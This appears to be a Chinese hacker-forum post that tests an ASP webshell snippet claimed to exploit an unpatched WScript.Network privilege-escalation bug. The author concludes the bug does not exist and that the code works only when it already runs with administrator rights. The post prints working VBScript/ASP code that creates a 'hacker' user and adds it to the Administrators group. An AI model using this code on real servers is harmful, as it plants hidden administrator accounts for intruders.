作者也說了,“反正代碼是對的,但是很少能成功,具體的看運氣了”,偶也拿來在webshell上試了試,失敗了。把容錯語句去掉,看到錯誤原因是“權限不夠”。今天沒什麼事,就來分析分析,說不定……嘿嘿。
他代碼關鍵是這個:
set lp=Server.CreateObject("WSCRIPT.NetWORK")
oz="WinNT://"&lp.ComputerName
Set ob=GetObject(oz)
Set oe=GetObject(oz&"/Administrators,group")
Set od=ob.Create("user",username)
od.SetPassWord passwd
od.SetInfo
oe.Add oz&"/"&username
無非是在ASP中創建一個WSCRIPT.NETWORK對象,用這個對象添加用戶提升為管理員。而按照他們的說法這是利用了.NetWORK對象本地權限提升漏洞(他們說這是MS沒公布的)。嗯,那我把代碼做成一個vbs腳本文件,拿到命令行下試試就知道了。
test.vbe(vbe比vbs更好;vbs的運行受到諸多限制)
--------------------------------------------
set lp=CreateObject("WSCRIPT.NetWORK")
oz="WinNT://"&lp.ComputerName
Set ob=GetObject(oz)
Set oe=GetObject(oz&"/Administrators,group")
Set od=ob.Create("user","hacker")
od.SetPassWord test
od.SetInfo
oe.Add oz&"/"&"hacker"
-------------------------------------------
在admin權限下生成了hacker用戶;user權限執行文件報錯:拒絕訪問。看來還是權限不夠,即是說不存在所謂的MS未公布的“.NetWORK對象本地權限提升漏洞”——至少我這個XP SP1上不存在。你也可以把上面的代碼保存為vbe拿到user權限下面試試其他系統是否存在這個bug,不過既然這ASP成功的很少可能也不會存在。
上回日光海岸告訴我如果IIS開了認證這個asp就可以。我在本地把IIS的匿名訪問關閉了,這個腳本果然可以工作。不過此時實際上你的浏覽是具有管理員權限的。想想明明是關了匿名訪問,為什麼沒有彈出對話框讓你輸用戶密碼呢?呵呵,你在本地自然集成Windows基本驗證,此時我是管理員,當然那些ASP也繼承了admin權限。不知道作者是不是在這裡出錯了呢?